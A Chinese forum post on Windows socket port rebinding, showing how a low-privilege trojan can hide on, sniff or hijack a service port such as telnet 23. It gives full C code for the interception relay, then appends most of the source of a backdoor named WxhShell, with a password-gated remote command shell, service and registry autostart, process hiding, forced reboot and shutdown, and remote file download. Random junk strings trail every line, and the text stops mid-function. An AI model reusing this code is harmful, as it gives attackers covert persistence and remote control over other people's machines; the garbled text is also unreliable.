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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: UrS%t>6k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vL;=qk TCQ  
pqbKPpG  
  saddr.sin_family = AF_INET; FT gt$I  
 )Z:maz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OtT*)8*c  
aMgg[g9>t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EY:EpVin  
M?ElD1#Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xaIe7.Z"xo  
ciPq@kMV  
  这意味着什么?意味着可以进行如下的攻击: FlH=Pqc  
$*9:a3>zny  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @]],H0  
M!PK3  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  t|:XSJ9  
Fow{-cs_p  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 E3_ 5~>  
~~,#<g[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   n4AQ  
ugW.nf*O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <ou=f'  
j6rwlwN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {\k:?w4  
BQ!_i*14+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A6Wtzt2i  
4?x$O{D5?{  
  #include <+`}: A  
  #include |e&hm ~R1  
  #include 6"bdbV=t  
  #include    Hg[AulNna  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f[$Z<:D-ve  
  int main() WTC/mcS  
  { oJ 0 #U  
  WORD wVersionRequested; w 1O)  
  DWORD ret; t(- 5l  
  WSADATA wsaData; pH?"@  
  BOOL val; m8v=pab e  
  SOCKADDR_IN saddr; :\#/T,K"  
  SOCKADDR_IN scaddr; )-LS n  
  int err; ZV:0:k.x  
  SOCKET s; g\?7M1~  
  SOCKET sc; pH.&OW%  
  int caddsize; I}/-zyx>=  
  HANDLE mt; Zu^J X/um  
  DWORD tid;   EMS$?"K  
  wVersionRequested = MAKEWORD( 2, 2 ); Y &*nj`n  
  err = WSAStartup( wVersionRequested, &wsaData ); kc"SUiy/  
  if ( err != 0 ) { _ 3jY,*  
  printf("error!WSAStartup failed!\n"); onUF@3V  
  return -1; ZOHGGO]1M  
  } F:2V;  
  saddr.sin_family = AF_INET; 4--[.j*W  
   n{.SNipU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }{)>aJ  
:YN,cId*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %R*-oQ1T  
  saddr.sin_port = htons(23); 6\/(TW&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &28%~&L  
  { ^@xn3zJ  
  printf("error!socket failed!\n");  f(*^zga,  
  return -1; )}R w@70L-  
  } E`UEl$($  
  val = TRUE; nOUF<DNQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !\1Pu|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k*= #XbX  
  { @RI\CqFHR  
  printf("error!setsockopt failed!\n"); ~YrO>H` B  
  return -1; ' sTMUPg`  
  } J]4Uh_>)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1"} u51  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8|\?imOp\[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t9m08K:Y  
H5p&dNO  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g=n /w  
  { =xsTVT;sj  
  ret=GetLastError(); Q|:qs\6q5  
  printf("error!bind failed!\n"); s4{>7`N2  
  return -1; +,ojlTVlt  
  } [5Pin>]z  
  listen(s,2); 2t"&>1  
  while(1) Z\*jt B:  
  { c o%-d  
  caddsize = sizeof(scaddr); [NIaWI,>  
  //接受连接请求 i;}mIsNBY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +`~6Weay  
  if(sc!=INVALID_SOCKET) l)( 3]  
  { A<s9c=d6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); qCgoB 0  
  if(mt==NULL) );5H<[  
  { kG$U  
  printf("Thread Creat Failed!\n"); vTUhIFa{  
  break; dn@_\5  
  } "~/O>.p  
  } IH~[/qNk  
  CloseHandle(mt); 'nh^'i&0.  
  } :Z5Twb3h  
  closesocket(s); ^N:bT;;$nZ  
  WSACleanup(); Q !G^CG  
  return 0; E >lW'  
  }   d;O4)8 >  
  DWORD WINAPI ClientThread(LPVOID lpParam) =-|,v*  
  { O4fl$egQU  
  SOCKET ss = (SOCKET)lpParam; 8P3"$2q  
  SOCKET sc; eww/tGa  
  unsigned char buf[4096]; "Z*u2_ H  
  SOCKADDR_IN saddr; Ow4H7 sl  
  long num; X[KHI1@w  
  DWORD val; o+^5W  
  DWORD ret; _iZ_.3 Ip  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ky-9I<Z,,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r5S5;jL%t  
  saddr.sin_family = AF_INET; ._IBO;*@  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hTVA^j(w  
  saddr.sin_port = htons(23); Z. G<'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wxSJ  
  { 2h5L#\H"  
  printf("error!socket failed!\n"); Doc_rQYku  
  return -1; e.jbFSnA  
  } ?."YP[;  
  val = 100; mJL=H  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |QB[f*y5  
  { .7|Iausv  
  ret = GetLastError(); %uy5la  
  return -1; C4^o= 6{  
  } 6#DDMP8;I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X{G&r$  
  { {<1 ]cP  
  ret = GetLastError(); y$C\b\hM  
  return -1; ErXzKf  
  } r>ca17  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -oR P ZtW  
  { NANgV~Y&  
  printf("error!socket connect failed!\n"); k~=_]sLn  
  closesocket(sc); *'jI>^o  
  closesocket(ss); Ty;P`Uv]r  
  return -1; Ne9S90HsB6  
  } Iu|4QE  
  while(1) pDV8B/{  
  { w=feXA3-S  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 bx8;`Q MX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {YigB  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K@>($BX]  
  num = recv(ss,buf,4096,0); @[. 0,  
  if(num>0) aT"0tn^LO  
  send(sc,buf,num,0); ^(on"3sG  
  else if(num==0) H4"'&A7$  
  break; s2*~n_B  
  num = recv(sc,buf,4096,0); ATscP hk  
  if(num>0) c1aIZ  
  send(ss,buf,num,0); [h[@? 8vB  
  else if(num==0) ur K~]68  
  break; AMf{E  
  } Z(:q.{"r  
  closesocket(ss); j9^V)\6)  
  closesocket(sc); N83c+vs%c  
  return 0 ; ;G|#i? JJ  
  } yeqH eZ  
! n13B  
5~GH*!h%;  
========================================================== ,zVS}!jRhy  
"cDMFu  
下边附上一个代码,,WXhSHELL 5e}adHjM  
V18 A|]k  
========================================================== ^LAnR>mz^r  
hYB3tT  
#include "stdafx.h" &.1qixXIr  
PB(I3R9  
#include <stdio.h> $QB/n63  
#include <string.h> Ev>P|k V&A  
#include <windows.h> @ q:S]YB   
#include <winsock2.h> 'B yB1NL  
#include <winsvc.h> It:,8  
#include <urlmon.h> 1=z6m7@'-  
4U>g0  
#pragma comment (lib, "Ws2_32.lib") ^bk:g}o  
#pragma comment (lib, "urlmon.lib") l#bE_PD;  
BHNEP |=  
#define MAX_USER   100 // 最大客户端连接数 +*L<"@  
#define BUF_SOCK   200 // sock buffer k$3Iv"gbx  
#define KEY_BUFF   255 // 输入 buffer dwJnPJ=z  
E)F#Z=)  
#define REBOOT     0   // 重启 \zLKSJ]  
#define SHUTDOWN   1   // 关机 /l>!7  
9oQ$w?=#$  
#define DEF_PORT   5000 // 监听端口 _Nacqa  
%fMFcL#h  
#define REG_LEN     16   // 注册表键长度 R1vuf*A5,  
#define SVC_LEN     80   // NT服务名长度 ,xI FF-[0  
W:8pmI  
// 从dll定义API i[/`9 AK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ex6 QHUQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2$TwD*[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G3dA`3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \c4D|7\=  
7Fzj&!>ti  
// wxhshell配置信息 zmhL[1qj  
struct WSCFG { F4PWL|1  
  int ws_port;         // 监听端口 t Z@OAPRx  
  char ws_passstr[REG_LEN]; // 口令 )|wC 1J!L  
  int ws_autoins;       // 安装标记, 1=yes 0=no $O_{cSKg7  
  char ws_regname[REG_LEN]; // 注册表键名 ftxy]N LF  
  char ws_svcname[REG_LEN]; // 服务名 Qv6-,6<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qo\?(E M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "</A) y&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3/V0w|ZgD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .<4U2h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Qz4Do6#y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rT(b t~Z  
yb6gYN  
}; LK+67Y{25  
P&IS$FC.\  
// default Wxhshell configuration IoZ _zz0  
struct WSCFG wscfg={DEF_PORT, ~s*kuj'%+  
    "xuhuanlingzhe", {t!Pv 2y<  
    1, S SfNI>  
    "Wxhshell", ,!dVhG#  
    "Wxhshell", MO%+rf0~w  
            "WxhShell Service", w8cbhc  
    "Wrsky Windows CmdShell Service", 089v; d 6  
    "Please Input Your Password: ", mO2u9?N  
  1, #'dNSez5  
  "http://www.wrsky.com/wxhshell.exe", .iYp9?t  
  "Wxhshell.exe" W. BX6  
    }; 08+\fT [  
k)R~o b  
// 消息定义模块 SP"t2LTP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c 5 `74g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U".5x~UC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; upnX7as  
char *msg_ws_ext="\n\rExit."; ;FJFr*PM  
char *msg_ws_end="\n\rQuit."; [>KnMi=o)  
char *msg_ws_boot="\n\rReboot..."; CbwQbJ/v7  
char *msg_ws_poff="\n\rShutdown..."; Pk>S;KT.  
char *msg_ws_down="\n\rSave to "; i0F6eqe=J  
Qs ysy  
char *msg_ws_err="\n\rErr!"; &v#pS!UOj  
char *msg_ws_ok="\n\rOK!"; f2u4*X E\  
Clb7=@f  
char ExeFile[MAX_PATH]; Nq1YFI>W  
int nUser = 0; *dN_=32u  
HANDLE handles[MAX_USER]; KM?w{ ~9  
int OsIsNt; :7~DiH:Q  
TE: |w Xe  
SERVICE_STATUS       serviceStatus; i.{.koH<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; + w'q5/`  
"}vxHN#  
// 函数声明 3L36 2  
int Install(void); U/-k'6=M  
int Uninstall(void); $,B;\PX  
int DownloadFile(char *sURL, SOCKET wsh); q07H{{h/B  
int Boot(int flag); a"l\_D'.K8  
void HideProc(void); yKy )%i  
int GetOsVer(void); k"|Fu   
int Wxhshell(SOCKET wsl); 7AlL,&+  
void TalkWithClient(void *cs); qh+&Zx~  
int CmdShell(SOCKET sock); (|>rDk;  
int StartFromService(void); -A@/cS%p  
int StartWxhshell(LPSTR lpCmdLine); l6zYiM  
PS8^=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); AH-BZ8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U>sEFzBup  
eD8e0 D'S  
// 数据结构和表定义 |{JI=$  
SERVICE_TABLE_ENTRY DispatchTable[] = |w+ O.%=  
{ OZA^L;#>  
{wscfg.ws_svcname, NTServiceMain}, V"B/4v>  
{NULL, NULL} qeb}~FL"o  
}; C-\3,  
&8I }q]'k  
// 自我安装 SLRF\mh!L  
int Install(void) AiB]A}  
{ *Nfot v  
  char svExeFile[MAX_PATH]; (\'$$  
  HKEY key; zp5ZZcj_  
  strcpy(svExeFile,ExeFile); o=6 <?v7  
e]5NA?2j  
// 如果是win9x系统,修改注册表设为自启动 ^$X|Lq  
if(!OsIsNt) { z,bK.KFSs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ym+Ezb#o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j#xGB]  
  RegCloseKey(key); FmhAUe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w ^?#xU1.i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2x<!>B  
  RegCloseKey(key); j+rY  
  return 0; "l hj1zZ  
    } M| Nh(kvH  
  } 9kB R/{  
} |o+*Iy)  
else { b 0qA  
2j#Dwa(lZQ  
// 如果是NT以上系统,安装为系统服务 U#&+n-npO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4oL .Bt  
if (schSCManager!=0) OL%}C*Zq  
{ +z:>Nl  
  SC_HANDLE schService = CreateService /4N?v. jf  
  ( hiEYIx  
  schSCManager, mkhWbzD'S  
  wscfg.ws_svcname, @;x*~0GZ  
  wscfg.ws_svcdisp, !8D>Bczq)  
  SERVICE_ALL_ACCESS, 7&D)+{g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CO9PQ`9+  
  SERVICE_AUTO_START, c2Exga_  
  SERVICE_ERROR_NORMAL, ) iZU\2L  
  svExeFile, R:3=!zav  
  NULL, IRueq @4  
  NULL, Nukyvse  
  NULL, V]GF53D  
  NULL, tfu`_6  
  NULL ! ,{zDMA  
  ); b^&azUkMN  
  if (schService!=0) bWSc&/ 9y  
  { *l;S"}b*,_  
  CloseServiceHandle(schService); JU.!<  
  CloseServiceHandle(schSCManager); b(CO7/e>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xcn~KF8  
  strcat(svExeFile,wscfg.ws_svcname); $VB dd~f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dwQ1~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )2#&l  
  RegCloseKey(key); "LJV}L  
  return 0; ca3SE^  
    } q"6$#o{~U  
  } u! &T}i:  
  CloseServiceHandle(schSCManager); 5423Ky<  
} \yZVn6GVr  
} i7Cuc+ j8  
IC(:RtJ  
return 1; H  XFY  
} jm@,Ihz=wI  
];"40/X  
// 自我卸载 ecQ{ePoU  
int Uninstall(void) r d-yqdJ  
{ R\XS5HOE(  
  HKEY key; P3n#s2o6y  
"}#%h&,  
if(!OsIsNt) { ;]b4O4C\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TLp2a<Iy  
  RegDeleteValue(key,wscfg.ws_regname); a DXaQ  
  RegCloseKey(key); Sc#3<nVg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @}:E{J#g  
  RegDeleteValue(key,wscfg.ws_regname); 4<Nd5T  
  RegCloseKey(key); :WX OD  
  return 0; %l14K_  
  } *v]s&$WyO  
} [ZC\8tP`V  
} 93:oXyFjD  
else { 9#m3<oSJ  
#/jug[wf*!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *W 2)!C|  
if (schSCManager!=0) KO~KaN  
{ nlI3|5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |cP:1CRzi  
  if (schService!=0) \HkBp& bqK  
  { l qwy5#  
  if(DeleteService(schService)!=0) { +/l@o u'  
  CloseServiceHandle(schService); _hJdC|/   
  CloseServiceHandle(schSCManager); lS#: u-k  
  return 0; &M@c50&%  
  } (_8.gS[  
  CloseServiceHandle(schService); ?|/K(}  
  } GlTpK^.  
  CloseServiceHandle(schSCManager); !LM`2|3$  
} M. % p'^5  
} $5.52  
E?czolNl  
return 1; Dr:M~r'6  
} ACi,$Uq6R  
hczDu8  
// 从指定url下载文件 P+ CdqOL  
int DownloadFile(char *sURL, SOCKET wsh) Maq`Or|4  
{ L+p}%!g  
  HRESULT hr; Q{?\qCrrYl  
char seps[]= "/"; dNNXMQ0"  
char *token; D)?%kNeA  
char *file; !=PH5jTY  
char myURL[MAX_PATH]; '*65j  
char myFILE[MAX_PATH]; 2 oV6#!{Z  
F6111Q </  
strcpy(myURL,sURL); 1^*ogMe  
  token=strtok(myURL,seps); LAo$AiTUR{  
  while(token!=NULL) [Z"Z5e`  
  { /*{'p!?  
    file=token; ib#rT{e  
  token=strtok(NULL,seps); }e/vKW fT  
  } `4snTM!v&  
IN<nZ?D#  
GetCurrentDirectory(MAX_PATH,myFILE); Xwdcy J!  
strcat(myFILE, "\\");  6?*Do  
strcat(myFILE, file); 0kj5r*qA  
  send(wsh,myFILE,strlen(myFILE),0); ,[6Rmsk  
send(wsh,"...",3,0); d'ZB{'[8p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /;d 5p  
  if(hr==S_OK) x {Utf$|  
return 0;  nOd;Zw  
else XHj%U  
return 1; M!5=3>Z  
Dy,MQIM|!  
} 8s2y!pn7Q  
U5wh( vi  
// 系统电源模块 O/FI>RT\H  
int Boot(int flag) Gf3-%s xA  
{ :wXiz`VH  
  HANDLE hToken; #::+# G  
  TOKEN_PRIVILEGES tkp; !-^oU"  
u"V,/1++\  
  if(OsIsNt) { > ^zNKgSQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7gN;9pc$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pZopdEFDK|  
    tkp.PrivilegeCount = 1; m(MQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ar\|D\0V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -dO8Uis$  
if(flag==REBOOT) { q4w]9b/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p+|8(w9A${  
  return 0; Z!~_#_Ugl  
} {6h 1  
else { .Z'NH wCy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \wsVO"/  
  return 0; 2wB *c9~  
} %L- qAI&V  
  } /CO=!*7fz  
  else { FXDB> }8  
if(flag==REBOOT) { hZ452W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K$,<<hl  
  return 0; mz%l4w?'  
} K mH))LIv  
else { 9xz@2b@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *cCx]C.~  
  return 0; j3;W-c`5  
} i 0/QfB%O  
} b way+lh  
@@U  
return 1; >AX_"Q~  
} ZCj1Cz]"l<  
:%J;[bS+  
// win9x进程隐藏模块 \By_mw  
void HideProc(void) mY/"rm  
{ <(@S;?ZEW  
 8Cp@k=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z\`SDC  
  if ( hKernel != NULL ) |yO%w#  
  { >I5Wf /$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vn kh Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?xH{7)dO  
    FreeLibrary(hKernel); wU!-sf;]y  
  } BXU0f%"8U  
EK=0oy[  
return; (?8i^T?WP=  
} yUJ#LDW  
EC8Z. Uu  
// 获取操作系统版本 8)?&eE'  
int GetOsVer(void) n0co* ]X+k  
{ -.? @f tY  
  OSVERSIONINFO winfo; b<4nljbx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !`H{jwH  
  GetVersionEx(&winfo); /"st sF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "GZ}+K*GG  
  return 1; aV|V C $  
  else h M7 SGEV  
  return 0; 9#P~cW?  
} i"iy 0 ?  
P HOngn  
// 客户端句柄模块 { "Cu)AFy  
int Wxhshell(SOCKET wsl) j>;1jzr2}  
{ -ak. wwx\  
  SOCKET wsh; G \MeJSt*  
  struct sockaddr_in client; K;"oK  
  DWORD myID;  0LL65[  
HP_h!pvx  
  while(nUser<MAX_USER) )e'F[  
{ $`7Fk%#+e  
  int nSize=sizeof(client); ~<<32t'S:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R[jFB 7dd  
  if(wsh==INVALID_SOCKET) return 1; CKZEX*mPC  
0Yq_B+IC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *5oQZ".vA*  
if(handles[nUser]==0) $dKfUlO  
  closesocket(wsh); ww7nQ}H5(  
else rQ_cH  
  nUser++; z(Uz<*h8  
  } )8g& lyT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =dHdq D  
a@jM%VZ  
  return 0; OET/4( C  
} '@+q_v@Jl  
Ew{*)r)m  
// 关闭 socket *&IvEu  
void CloseIt(SOCKET wsh) w=(dJ(7gu  
{ ;`pIq-=  
closesocket(wsh); h_P  
nUser--; "}1cQ|0a  
ExitThread(0); km9#lK  
} 7K.],eo0  
BNE:,I*&  
// 客户端请求句柄 kZG; \  
void TalkWithClient(void *cs) hQe78y  
{ G)[gLD{g?  
uwI"V|g%a&  
  SOCKET wsh=(SOCKET)cs; $rk=#;6]v;  
  char pwd[SVC_LEN]; !ck~4~J  
  char cmd[KEY_BUFF]; LlgFQfu8  
char chr[1]; . G25D  
int i,j; w=!xTA  
m?yztm~u  
  while (nUser < MAX_USER) { !:5'MI@  
w@R"g%k-  
if(wscfg.ws_passstr) { zfI{cMn'J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s 7w A3|9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h@*I(ND<  
  //ZeroMemory(pwd,KEY_BUFF); ~a2|W|?  
      i=0; %hBwc#^  
  while(i<SVC_LEN) { >6&Rytcc]  
 q9{ h@y  
  // 设置超时 ltk ARc3  
  fd_set FdRead; b|k^   
  struct timeval TimeOut; #W/Ch"Kv  
  FD_ZERO(&FdRead); <m~8pM  
  FD_SET(wsh,&FdRead); <5j%!6zo  
  TimeOut.tv_sec=8; X,G"#j^  
  TimeOut.tv_usec=0; ^4 ,LIIUj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !mqIq} h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P(I%9  
Ws2?sn#x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vs+aUT C\  
  pwd=chr[0]; ^CQp5kp]  
  if(chr[0]==0xd || chr[0]==0xa) { `5oXf  
  pwd=0; 2i #Ekon  
  break; ?o6#i3k#'  
  } 2f%+1uU  
  i++; O>vCi&  
    } Hp ;$fQ  
ucz~y! 4L{  
  // 如果是非法用户,关闭 socket 'lpCwH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WQN`y>1#@_  
} ?8s$RYp14  
>h~ik/|*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *v(Q-FW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y"7*u 3>"  
PWp=}f.y  
while(1) { tj*0Y-F~  
o[eZ"}~  
  ZeroMemory(cmd,KEY_BUFF); 9 5j`^M)Q  
Tr}XG  
      // 自动支持客户端 telnet标准   ep},~tPZn  
  j=0; u' kG(<0Y  
  while(j<KEY_BUFF) { B0Z>di:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wE<r'  
  cmd[j]=chr[0]; [+W<;iep  
  if(chr[0]==0xa || chr[0]==0xd) { J[uH@3v  
  cmd[j]=0; N}#"o  
  break; icIWv  
  } +3XaAk  
  j++; ^yl}/OD  
    } /%jX=S.5h<  
A\9LJ#E  
  // 下载文件 y<nPZ<h  
  if(strstr(cmd,"http://")) { yDZm)|<.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); noz1W ]  
  if(DownloadFile(cmd,wsh)) Y d~J(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q1yXdw  
  else p{ZyC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @T L|\T  
  } Qa:[iF  
  else { h0dZr-c  
[742s]j  
    switch(cmd[0]) { Nr*X1lJ6  
  w?8\9\ ;?  
  // 帮助 umnQ$y 0  
  case '?': { kMLJa=]$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w 2U302TZ  
    break; n`w]?bL  
  } Pe\Obd8d  
  // 安装 2T?Y  
  case 'i': { A*/8j\{n  
    if(Install()) LxWd_B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c1a$J`  
    else a-F I`Dv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -nHkO&&R  
    break; gzKMGL?%?  
    } :O&jm.2m  
  // 卸载 [iO8R-N8d  
  case 'r': { eGpKoq7a  
    if(Uninstall()) [\h?mlG?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PP!-*~F0Jr  
    else A X1!<K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?fC9)s  
    break; d8 Jf3Mo  
    } (.Ak*  
  // 显示 wxhshell 所在路径  CDuA2e  
  case 'p': { *pnaj\  
    char svExeFile[MAX_PATH]; Uz rf,I[  
    strcpy(svExeFile,"\n\r"); w8UUeF  
      strcat(svExeFile,ExeFile); t18j2P>`  
        send(wsh,svExeFile,strlen(svExeFile),0); EVaHb;  
    break; K*,,j\Q.  
    } ),Yk53G6c  
  // 重启 /5L\:eX%  
  case 'b': { ?mK&Slh.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3pW4Ul@e  
    if(Boot(REBOOT)) H-u SdT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d2gYB qag  
    else { GRofOJ  
    closesocket(wsh); 2&]LZ:(  
    ExitThread(0); )Qe]!$tqfD  
    } T=sAy/1oR  
    break; `T1bY9O.  
    } =6=:OId  
  // 关机 's5rl  
  case 'd': { 0QfDgDX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -Hw3rv3o  
    if(Boot(SHUTDOWN)) gdqBT]j  
